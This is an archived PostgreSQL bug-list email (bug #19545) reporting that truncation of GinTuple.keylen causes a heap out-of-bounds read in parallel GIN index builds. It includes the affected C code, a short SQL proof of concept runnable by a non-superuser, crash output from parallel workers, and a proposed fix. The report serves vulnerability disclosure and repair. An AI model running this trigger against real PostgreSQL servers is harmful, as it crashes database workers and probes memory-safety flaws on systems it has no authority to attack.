Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1whFgX-0006fn-02 for pgsql-bugs@arkaria.postgresql.org; Tue, 07 Jul 2026 23:58:41 +0000 Received: from localhost ([127.0.0.1] helo=malur.postgresql.org) by malur.postgresql.org with esmtp (Exim 4.96) (envelope-from ) id 1whFgV-003bdT-1f for pgsql-bugs@arkaria.postgresql.org; Tue, 07 Jul 2026 23:58:40 +0000 Received: from makus.postgresql.org ([2001:4800:3e1:1::229]) by malur.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wh6Yo-000wMO-1l for pgsql-bugs@lists.postgresql.org; Tue, 07 Jul 2026 14:14:07 +0000 Received: from mahout.postgresql.org ([2001:4800:3e1:1::227]) by makus.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.98.2) (envelope-from ) id 1wh6Yo-0000000029W-0BVf for pgsql-bugs@lists.postgresql.org; Tue, 07 Jul 2026 14:14:06 +0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=postgresql.org; s=20171124; h=Message-ID:Date:Reply-To:Cc:From:To:Subject: Content-Transfer-Encoding:MIME-Version:Content-Type:Sender:Content-ID: Content-Description:In-Reply-To:References; bh=MqA8g3PbY7OAu20l+FIDA+lywmdWnXLgNgzPh1dtkBk=; b=2ZZlu4760h/I00sxdYT2NCIS7B XjUcDGpl920+Jd+hFUGKjQNtkWwwZCCx34cXuvdRSEy7gjIjUREwX4h2YBaUNSAbovjvDTSYnLict cnftWMGOfP3gRUQwQV+XB0b1Wlp6iwfPtDKllLTUoiRzz9WMEzfUmwehRgaSODEavaLR5Gr7Spehe er9HojSKsrI/EF+/D6oKLXETNMr/4pebBTiZSdW5smt8rC4fj0yY5jO3iVFYA6/TtM/+ahHZqEkzq lppxUgXsOp9fr8Lif6lGfJM5NQcBWFD8AVg3es1Acg0UoVawDq3TUoM4QB3yN8BAi0ozv2R8ZCYGo VZLMORtQ==; Received: from wrigleys.postgresql.org ([2a02:16a8:dc51::60]) by mahout.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wh6Ym-000701-1k for pgsql-bugs@lists.postgresql.org; Tue, 07 Jul 2026 14:14:05 +0000 Received: from localhost ([127.0.0.1] helo=wrigleys.postgresql.org) by wrigleys.postgresql.org with esmtp (Exim 4.96) (envelope-from ) id 1wh6Yk-000FtO-0s for pgsql-bugs@lists.postgresql.org; Tue, 07 Jul 2026 14:14:03 +0000 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Subject: BUG #19545: Integer truncation of `GinTuple.keylen` causes out-of-bounds read in parallel GIN index build To: pgsql-bugs@lists.postgresql.org From: PG Bug reporting form Cc: 1217816127@qq.com Reply-To: 1217816127@qq.com, pgsql-bugs@lists.postgresql.org Date: Tue, 07 Jul 2026 14:13:44 +0000 Message-ID: <19545-0f25b7e47351e8fc@postgresql.org> X-Auto-Response-Suppress: All Auto-Submitted: auto-generated List-Id: List-Help: List-Subscribe: List-Post: List-Owner: List-Archive: Archived-At: Precedence: bulk The following bug has been logged on the website: Bug reference: 19545 Logged by: Yuelin Wang Email address: 1217816127@qq.com PostgreSQL version: 19beta1 Operating system: Linux (Ubuntu 24.04, x86_64) Description: =20 ### Summary `GinTuple.keylen` is declared `uint16` (max 65535), but in `_gin_build_tuple()` the local `keylen` is an `int` taken from `VARSIZE_ANY(key)` (up to ~1 GB for a varlena `NORM_KEY`). The store `tuple->keylen =3D keylen` **truncates** when the key exceeds 65535 bytes. = The tuple's *memory layout* (palloc size, key memcpy, TID-array pointer) uses the full `int` keylen and is correct. Only the stored field is truncated. On read-back the truncated value mis-computes the posting-list region, so the decoder walks attacker-controlled bytes past the allocation, which is a heap out-of-bounds read. ### Details ```c int keylen; /* 2251 */ keylen =3D VARSIZE_ANY(DatumGetPointer(key)); /* 2278: up to ~1GB */ tuple->keylen =3D keylen; /* 2327: stored into uint16 -> truncation */ ``` On read-back `_gin_parse_tuple_items()` (2419-2420) uses the truncated `a->keylen`, so the posting-list pointer lands ~64 KB early inside the attacker's key content and `ginPostingListDecodeAllSegments()` decodes attacker-controlled bytes off the end of the allocation. This is parallel-only because the `GinMaxItemSize` guard lives in the leader's `GinFormTuple`, whereas a parallel worker reparses the serialized `GinTuple` *before* any size gate (present in 19devel). ### Proof of Concept `array_ops`' `extractValue` returns full-size array-element datums, so a `text[]` element > 65535 bytes flows in as `NORM_KEY`: ```sql CREATE SCHEMA vuln_001_sch; CREATE TABLE vuln_001_sch.vuln_001_t (a text[]); -- one 100000-byte element per row (> 65535 -> keylen truncation), enough rows for real sort work INSERT INTO vuln_001_sch.vuln_001_t SELECT ARRAY[repeat('x', 100000)] FROM generate_series(1, 300); -- force a parallel maintenance build (all settable by a non-superuser) ALTER TABLE vuln_001_sch.vuln_001_t SET (parallel_workers =3D 4); SET max_parallel_maintenance_workers =3D 4; SET min_parallel_table_scan_size =3D '0'; CREATE INDEX vuln_001_idx ON vuln_001_sch.vuln_001_t USING gin (a); ``` Run: ``` psql -h /tmp -p 36901 -U ylwang -d postgres -f vuln_001.sql ``` ### Result The parallel build crashed 3 workers (PIDs 114475 to 114477) during `CREATE INDEX ... USING gin`, on exactly the predicted path (`ginPostingListDecodeAllSegments`): ``` DEBUG: building index "vuln_001_idx" ... with request for 4 parallel workers server closed the connection unexpectedly parallel worker ... ExceptionalCondition ... parallel worker ... ginPostingListDecodeAllSegments+0x163 TRAP: failed Assert("OffsetNumberIsValid(ItemPointerGetOffsetNumber(&segment->first))"), File: "ginpostinglist.c", Line: 324 ``` ### Fix Widen the field to hold real key lengths by declaring `GinTuple.keylen` as `int`/`uint32` in `gin_tuple.h`. Alternatively, reject oversized keys explicitly in `_gin_build_tuple()` by calling `ereport(ERROR)` when `keylen > UINT16_MAX`, so the parallel path fails as cleanly as the serial one.